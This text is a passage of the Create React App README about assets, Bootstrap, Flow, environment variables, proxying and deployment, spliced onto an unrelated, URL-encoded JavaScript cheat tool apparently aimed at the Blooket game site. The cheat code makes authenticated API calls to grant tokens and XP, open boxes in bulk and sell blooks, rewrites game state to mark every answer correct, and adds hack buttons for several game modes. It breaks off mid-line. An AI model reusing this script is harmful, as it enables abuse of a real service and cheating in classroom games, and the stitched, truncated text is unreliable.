-ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) ### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)
OG-Frogger
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%3A 0%3B%0A element.style.top %3D top %2B "px"%3B%0A element.style.left %3D left %2B "px"%3B%0A %7D)%3B%0A %7D)%3B%0A%7D%0Astart()%3B%0Aasync function debuggerHelp(how) %7B%0A const response %3D await fetch(%27https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Fverify-token%27%2C %7B%0A method%3A "GET"%2C%0A headers%3A %7B%0A "accept"%3A "application%2Fjson%2C text%2Fplain%2C *%2F*"%2C%0A "accept-language"%3A "en-US%2Cen%3Bq%3D0.9%2Cru%3Bq%3D0.8"%2C%0A %7D%2C%0A credentials%3A "include"%0A %7D)%3B%0A const data %3D await response.json()%3B%0A let name %3D data.name%3B%0A let role %3D data.role%3B%0A window.blooketname %3D name%3B%0A window.blooketrole %3D role%3B%0A startDebugger(name)%3B%0A%7D%0A%0Afunction addtokens(event) %7B%0A try %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers"%2C %7B%0A credentials%3A "include"%0A %7D).then(x %3D> x.json()).then(x %3D> %7B%0A getValues().then(async e %3D> %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Fadd-rewards"%2C %7B%0A method%3A "put"%2C%0A credentials%3A "include"%2C%0A headers%3A %7B%0A "content-type"%3A "application%2Fjson"%2C%0A "X-Blooket-Build"%3A e.blooketBuild%0A %7D%2C%0A body%3A await encodeValues(%7B%0A name%3A x.name%2C%0A addedTokens%3A 500%2C%0A addedXp%3A 300%0A %7D%2C e.secret)%0A %7D).then(() %3D> alert(%27Added daily rewawrds!%27)).catch(() %3D> alert(%27There was an error when adding rewards!%27))%3B%0A %7D).catch(() %3D> alert(%27There was an error encoding requests!%27))%3B%0A %7D).catch(() %3D> alert(%27There was an error getting username!%27))%3B%0A window.console.clear()%0A %7D catch (hack) %7B%0A if (confirm(%27An error has occured%2C would you like to open the debugger%3F%27)) %7B%0A debuggerHelp()%0A %7D%3B%0A %7D%3B%0A%7D%3B%0A%0Afunction selldupes(event) %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers"%2C %7B%0A credentials%3A "include"%0A %7D).then(x %3D> x.json()).then(x %3D> %7B%0A let blooks %3D Object.entries(x.unlocks).map(x %3D> %5Bx%5B0%5D%2C x%5B1%5D - 1%5D).filter(x %3D> x%5B1%5D > 0)%3B%0A let wait %3D ms %3D> new Promise(r %3D> setTimeout(r%2C ms))%3B%0A getValues().then(async e %3D> %7B%0A let error %3D false%3B%0A alert(%27Selling duplicate blooks%2C please wait%27)%3B%0A for (let %5Bblook%2C numSold%5D of blooks) %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Fsellblook"%2C %7B%0A method%3A "put"%2C%0A credentials%3A "include"%2C%0A headers%3A %7B%0A "content-type"%3A "application%2Fjson"%2C%0A "X-Blooket-Build"%3A e.blooketBuild%0A %7D%2C%0A body%3A await encodeValues(%7B%0A name%3A x.name%2C%0A blook%2C%0A numSold%0A %7D%2C e.secret)%0A %7D).catch(() %3D> %7B%0A error %3D true%0A %7D)%3B%0A await wait(750)%3B%0A if (error) break%3B%0A %7D%0A alert(%60Results%3A%5Cn%60 %2B blooks.map((x) %3D> %60 %24%7Bx%5B1%5D%7D %24%7Bx%5B0%5D%7D%60).join(%60%5Cn%60))%3B%0A %7D).catch(() %3D> alert(%27There was an error encoding requests!%27))%3B%0A %7D).catch(() %3D> alert(%27There was an error getting user data!%27))%3B%0A%7D%0A%0Afunction spoofblooks(event) %7B%0A try %7B%0A if (window.location.pathname %3D%3D "%2Fplay%2Flobby") %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%3B%0A hack.stateNode.setState(%7B%0A takenBlooks%3A %5B%5D%2C%0A lockedBlooks%3A %5B%5D%0A %7D)%0A %7D else %7B%0A window.alert("Run this in a lobby (https%3A%2F%2Fblooket.com%2Fplay%2Flobby%2F)")%0A %7D%0A %7D catch (hack) %7B%0A if (confirm(%27An error has occured%2C would you like to open the debugger%3F%27)) %7B%0A debuggerHelp()%0A %7D%3B%0A %7D%3B%0A%7D%3B%0A%0Afunction openboxes(event) %7B%0A try %7B%0A (async function() %7B%0A let box %3D prompt(%27Which box do you want to open%3F (e.g. Space)%27)%3B%0A let boxes %3D %7B%0A safari%3A 25%2C%0A aquatic%3A 20%2C%0A bot%3A 20%2C%0A space%3A 20%2C%0A breakfast%3A 15%2C%0A medieval%3A 15%2C%0A wonderland%3A 15%2C%0A dino%3A 25%0A %7D%3B%0A if (!Object.keys(boxes).includes(box.toLowerCase())) %7B%0A return alert(%27I could not find that box!%27)%0A %7D%3B%0A let amount %3D prompt(%27How many boxes do you want to open%3F%27)%3B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers"%2C %7B%0A credentials%3A "include"%0A %7D).then(x %3D> x.json()).then(x %3D> %7B%0A if (x.tokens < boxes%5Bbox.toLowerCase()%5D * amount) amount %3D Math.floor(x.tokens %2F boxes%5Bbox.toLowerCase()%5D)%3B%0A if (!amount) return alert(%27You do not have enough tokens!%27)%3B%0A let wait %3D ms %3D> new Promise(r %3D> setTimeout(r%2C ms))%3B%0A getValues().then(async e %3D> %7B%0A let error %3D false%2C%0A blooks %3D %5B%5D%3B%0A for (let i %3D 0%3B i < amount%3B i%2B%2B) %7B%0A fetch("https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Funlockblook"%2C %7B%0A method%3A "put"%2C%0A credentials%3A "include"%2C%0A headers%3A %7B%0A "content-type"%3A "application%2Fjson"%2C%0A "X-Blooket-Build"%3A e.blooketBuild%0A %7D%2C%0A body%3A await encodeValues(%7B%0A name%3A x.name%2C%0A box%3A box.charAt(0).toUpperCase() %2B box.slice(1).toLowerCase()%0A %7D%2C e.secret)%0A %7D).then(async x %3D> %7B%0A let blook %3D await x.json()%3B%0A blooks.push(blook.unlockedBlook)%3B%0A alert(%60%24%7Bblook.unlockedBlook%7D (%24%7Bi %2B 1%7D%2F%24%7Bamount%7D)%60)%3B%0A %7D).catch(() %3D> %7B%0A error %3D true%0A %7D)%3B%0A await wait(100)%3B%0A if (error) break%3B%0A %7D%0A let count %3D %7B%7D%3B%0A blooks.forEach(blook %3D> %7B%0A count%5Bblook%5D %3D (count%5Bblook%5D %7C%7C 0) %2B 1%0A %7D)%3B%0A await alert(%60Results%3A%5Cn%60 %2B Object.entries(count).map((x) %3D> %60 %24%7Bx%5B1%5D%7D %24%7Bx%5B0%5D%7D%60).join(%60%5Cn%60))%3B%0A %7D).catch(() %3D> alert(%27There was an error encoding requests!%27))%3B%0A %7D).catch(() %3D> alert(%27There was an error getting username!%27))%3B%0A %7D)()%3B%0A window.console.clear()%0A %7D catch (hack) %7B%0A if (confirm(%27An error has occured%2C sorry it didnt work try again on a different mode!%3F%27)) %7B%0A debuggerHelp()%0A %7D%3B%0A %7D%3B%0A%7D%3B%0A%0Afunction allcorrect(event) %7B%0A try %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%3B%0A hack.stateNode.questions %3D %5B%7B%0A "text"%3A "Toad_UI moment"%2C%0A "answers"%3A %5B%0A "Toad_UI on top"%2C%0A "Toad_UI on top2"%0A %5D%2C%0A "correctAnswers"%3A %5B%0A "Toad_UI on top"%2C%0A "Toad_UI on top2"%0A %5D%2C%0A "number"%3A 1%2C%0A "random"%3A false%2C%0A "timeLimit"%3A "999"%2C%0A "image"%3A "https%3A%2F%2Fmedia.blooket.com%2Fimage%2Fupload%2Fc_limit%2Cf_auto%2Ch_250%2Cfl_lossy%2Cq_auto%3Alow%2Fv1650444812%2Fvr9fwibbp1mm0ge8hbuz.jpg"%2C%0A "audio"%3A null%0A %7D%5D%0A hack.stateNode.freeQuestions %3D %5B%7B%0A "text"%3A "Toad_ Hacks"%2C%0A "answers"%3A %5B%0A "Toad_UI on top"%2C%0A "Toad_UI on top2"%0A %5D%2C%0A "correctAnswers"%3A %5B%0A "Toad_UI on top"%2C%0A "Toad_UI on top2"%0A %5D%2C%0A "number"%3A 1%2C%0A "random"%3A false%2C%0A "timeLimit"%3A "999"%2C%0A "image"%3A "https%3A%2F%2Fmedia.blooket.com%2Fimage%2Fupload%2Fc_limit%2Cf_auto%2Ch_250%2Cfl_lossy%2Cq_auto%3Alow%2Fv1650444812%2Fvr9fwibbp1mm0ge8hbuz.jpg"%2C%0A "audio"%3A null%0A %7D%5D%0A var z %3D document.getElementsByTagName("iframe")%0A z%5Bz.length - 1%5D.remove()%0A x.remove()%0A window.console.clear()%0A %7D catch (hack) %7B%0A if (confirm(%27An error has occured%2C would you like to open the debugger%3F%27)) %7B%0A debuggerHelp()%0A %7D%3B%0A %7D%3B%0A%7D%3B%0A%0Afunction guiexit(event) %7B%0A const GUI %3D document.getElementById("GUI")%3B%0A const GUIX %3D document.getElementById("guiX")%3B%0A const IFR %3D document.getElementById("blooo")%3B%0A const tokens %3D document.getElementById("token")%3B%0A const spoof %3D document.getElementById("spoof")%3B%0A const open %3D document.getElementById("open")%3B%0A const sell %3D document.getElementById("sell")%3B%0A const correct %3D document.getElementById("correct")%3B%0A GUIX.removeEventListener(%27click%27%2C guiexit)%3B%0A tokens.removeEventListener(%27click%27%2C addtokens)%3B%0A spoof.removeEventListener(%27click%27%2C spoofblooks)%3B%0A open.removeEventListener(%27click%27%2C openboxes)%3B%0A sell.removeEventListener(%27click%27%2C selldupes)%3B%0A correct.removeEventListener(%27click%27%2C allcorrect)%3B%0A window.onkeydown %3D null%3B%0A GUI.remove()%3B%0A GUIX.remove()%3B%0A IFR.remove()%3B%0A%7D%0A%0Afunction toggleVisGUI() %7B%0A var GUI %3D document.getElementById("GUI")%3B%0A if (GUI.style.display %3D%3D "none") %7B%0A GUI.style.display %3D "block"%3B%0A %7D else %7B%0A GUI.style.display %3D "none"%3B%0A %7D%0A%7D%0A%0Awindow.addEventListener(%27keydown%27%2C function(e) %7B%0A if (e.key %3D%3D "e") %7B%0A toggleVisGUI()%3B%0A %7D%0A%7D)%3B%0A%0Afunction startDebugger(name) %7B%0A let debui %3D document.getElementById("deb")%0A if (debui !%3D null) %7B%0A window.alert("The debugger is already open.")%0A %7D else %7B%0A let element %3D document.createElement(%27div%27)%3B%0A element.innerHTML %3D %60<div id%3D"deb"> <div style%3D" padding-top%3A 2px%3B font-size%3A 1.5rem%3B text-align%3A center%3B">Debug UI<%2Fdiv><div id%3D"debname" style%3D"font-size%3A 1rem%3B">Name%3A null<%2Fdiv><div id%3D"hackstat">Hack Status%3A null<%2Fdiv><div id%3D"gameinfo">No Gamemode Found?<%2Fdiv><br><button id%3D"rundeb" style%3D"width%3A 130px%3B height%3A 30px%3B cursor%3A pointer%3B background%3A hsl(0%2C 0%25%2C 20%25)%3B border-radius%3A 22px%3B border%3A none%3B font-size%3A 1rem%3B"><b>Run Debugger<%2Fb><%2Fbutton><br><br><div style%3D"font-size%3A 0.8rem%3B">ui by <a href%3D"https%3A%2F%2F<%2Fa><%2Fdiv><%2Fdiv>%60%3B%0A element.style %3D %60width%3A 175px%3B background%3A rgb(64%2C 64%2C 64)%3B border-radius%3A 8px%3B position%3A absolute%3B text-align%3A center%3B font-family%3A Nunito%3B color%3A white%3B overflow%3A hidden%3B top%3A 5%25%3B left%3A 40%25%3B%60%3B%0A document.body.appendChild(element)%3B%0A var pos1 %3D 0%2C%0A pos2 %3D 0%2C%0A pos3 %3D 0%2C%0A pos4 %3D 0%3B%0A element.onmousedown %3D ((e %3D window.event) %3D> %7B%0A e.preventDefault()%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A document.onmouseup %3D (() %3D> %7B%0A document.onmouseup %3D null%3B%0A document.onmousemove %3D null%3B%0A %7D)%3B%0A document.onmousemove %3D ((e) %3D> %7B%0A e %3D e %7C%7C window.event%3B%0A e.preventDefault()%3B%0A pos1 %3D pos3 - e.clientX%3B%0A pos2 %3D pos4 - e.clientY%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A let top %3D (element.offsetTop - pos2) > 0 %3F (element.offsetTop - pos2) %3A 0%3B%0A let left %3D (element.offsetLeft - pos1) > 0 %3F (element.offsetLeft - pos1) %3A 0%3B%0A element.style.top %3D top %2B "px"%3B%0A element.style.left %3D left %2B "px"%3B%0A %7D)%3B%0A %7D)%3B%0A %7D%0A let mode %3D "No game detected"%3B%0A let site %3D window.location.pathname%3B%0A switch (site) %7B%0A case "%2Fplay%2Frush"%3A%0A mode %3D "Blook Rush"%3B%0A break%3B%0A case "%2Fplay%2Fdino"%3A%0A mode %3D "Deceptive Dino"%3B%0A break%3B%0A case "%2Fplay%2Fracing"%3A%0A mode %3D "Racing"%0A break%3B%0A case "%2Fplay%2Ffishing"%3A%0A mode %3D "Fishing Frenzy"%0A break%3B%0A case "%2Fplay%2Fgold"%3A%0A mode %3D "Gold Quest"%0A break%3B%0A case "%2Fplay%2Ffactory"%3A%0A mode %3D "Factory"%3B%0A break%3B%0A case "%2Fcafe"%3A%0A mode %3D "Cafe"%0A break%3B%0A case "%2Fkingdom"%3A%0A mode %3D "Crazy Kingdom"%0A break%3B%0A case "%2Ftower%2Fmap"%3A%0A mode %3D "Tower of Doom"%0A break%3B%0A case "%2Ftower%2Fbattle"%3A%0A mode %3D "Tower of Doom"%0A break%3B%0A case "%2Fdefense"%3A%0A mode %3D "Tower Defense"%0A break%3B%0A %7D%0A const Rundeb %3D document.getElementById("rundeb")%0A const gameinfo %3D document.getElementById("gameinfo")%0A const hackstat %3D document.getElementById("hackstat")%0A const debname %3D document.getElementById("debname")%0A Rundeb.addEventListener(%27click%27%2C getstat)%3B%0A gameinfo %3D mode%3B%0A debname.innerHTML %3D %60Name%3A %24%7Bname%7D%60%3B%0A hackstat.innerHTML %3D "Hack Status%3A"%0A%7D%0Aasync function getstat() %7B%0A const hackstat %3D document.getElementById("hackstat")%0A const getApiSetUrlResponse %3D await fetch(%27https%3A%2F%2Fapi.blooket.com%2Fapi%2Fgames%3FgameId%3D62185f4950d6238032ffd5c2%27%2C %7B%0A credentials%3A "include"%0A %7D)%3B%0A const getApiSetUrlData %3D await getApiSetUrlResponse.json()%3B%0A if (getApiSetUrlData.title %3D%3D "online") %7B%0A hackstat.innerHTML %3D "Hack Status%3A Online"%0A %7D else %7B%0A hackstat.innerHTML %3D "Hack Status%3A Offline"%0A %7D%0A%7D%0Aasync function handleData(type) %7B%0A if (type %3D "elements") %7B%0A const response %3D await fetch(%27https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Fverify-token%27%2C %7B%0A method%3A "GET"%2C%0A headers%3A %7B%0A "accept"%3A "application%2Fjson%2C text%2Fplain%2C *%2F*"%2C%0A "accept-language"%3A "en-US%2Cen%3Bq%3D0.9%2Cru%3Bq%3D0.8"%2C%0A %7D%2C%0A credentials%3A "include"%0A %7D)%3B%0A let mode %3D "No game detected"%3B%0A let site %3D window.location.pathname%0A switch (site) %7B%0A case "%2Fplay%2Frush"%3A%0A mode %3D "Blook Rush"%3B%0A break%3B%0A case "%2Fplay%2Fdino"%3A%0A mode %3D "Deceptive Dino"%3B%0A break%3B%0A case "%2Fplay%2Fracing"%3A%0A mode %3D "Racing"%0A break%3B%0A case "%2Fplay%2Ffishing"%3A%0A mode %3D "Fishing Frenzy"%0A break%3B%0A case "%2Fplay%2Fgold"%3A%0A mode %3D "Gold Quest"%0A break%3B%0A case "%2Fplay%2Ffactory"%3A%0A mode %3D "Factory"%3B%0A break%3B%0A case "%2Fcafe"%3A%0A mode %3D "Cafe"%0A break%3B%0A case "%2Fkingdom"%3A%0A mode %3D "Crazy Kingdom"%0A break%3B%0A case "%2Ftower%2Fmap"%3A%0A mode %3D "Tower of Doom"%0A break%3B%0A case "%2Ftower%2Fbattle"%3A%0A mode %3D "Tower of Doom"%0A break%3B%0A case "%2Fdefense"%3A%0A mode %3D "Tower Defense"%0A break%3B%0A %7D%0A const data %3D await response.json()%3B%0A let Name %3D data.name%3B%0A const nameElement %3D document.getElementById("name")%3B%0A const game %3D document.getElementById("curPage")%0A game.innerHTML %3D mode%3B%0A nameElement.innerHTML %3D %60Name%3A %24%7BName%7D%60%3B%0A %7D else %7B%0A console.error("handle data incorect type")%0A %7D%0A%7D%0A%0A%0Afunction addListeners() %7B%0A const GUIX %3D document.getElementById("guiX")%0A const GUIM %3D document.getElementById("gui-")%0A const tokens %3D document.getElementById("token")%0A const spoof %3D document.getElementById("spoof")%0A const open %3D document.getElementById("open")%0A const sell %3D document.getElementById("sell")%0A const correct %3D document.getElementById("correct")%0A GUIX.addEventListener(%27click%27%2C guiexit)%3B%0A GUIM.addEventListener(%27click%27%2C toggleVisGUI)%3B%0A tokens.addEventListener(%27click%27%2C addtokens)%3B%0A spoof.addEventListener(%27click%27%2C spoofblooks)%3B%0A open.addEventListener(%27click%27%2C openboxes)%3B%0A sell.addEventListener(%27click%27%2C selldupes)%3B%0A correct.addEventListener(%27click%27%2C allcorrect)%3B%0A%7D%0A%0Afunction CheckGame() %7B%0A let html %3D null%3B%0A let type %3D ""%3B%0A let mode %3D "No game detected"%3B%0A let site %3D window.location.pathname%3B%0A switch (site) %7B%0A case "%2Fplay%2Frush"%3A%0A type %3D "rush"%3B%0A mode %3D "Blook Rush"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"defend" class%3D"hack">Get Defense<%2Fbutton><button id%3D"getbloook" class%3D"hack">Get Blooks<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Fdino"%3A%0A type %3D "dino"%3B%0A mode %3D "Deceptive Dino"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"multifos" class%3D"hack">Fossil Multiplier<%2Fbutton><button id%3D"foshack" class%3D"hack">Fossil Hack<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Fracing"%3A%0A type %3D "race"%3B%0A mode %3D "Racing"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"finish" class%3D"hack">Finish Race<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Ffishing"%3A%0A type %3D "fishing"%3B%0A mode %3D "Fishing Frenzy"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"setweight" class%3D"hack">Set Weight<%2Fbutton><button id%3D"setlure" class%3D"hack">Set Lure<%2Fbutton><button id%3D"frenzy" class%3D"hack">Always Frenzy<%2Fbutton><%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Fgold"%3A%0A type %3D "gold"%3B%0A mode %3D "Gold Quest"%0A html %3D %27<div id%3D"LoadedGame"> <button id%3D"setgold" class%3D"hack">Set Gold<%2Fbutton> <button id%3D"choiceesp" class%3D"hack">Choice ESP<%2Fbutton> <%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Ffactory"%3A%0A type %3D "factory"%3B%0A mode %3D "Factory"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"mega" class%3D"hack">All Mega Bots<%2Fbutton> <button id%3D"setcash" class%3D"hack">Set Cash<%2Fbutton> %09%09%09<button id%3D"ng" class%3D"hack">Remove Glitches<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fcafe"%3A%0A type %3D "cafe"%3B%0A mode %3D "Cafe"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"inffood" 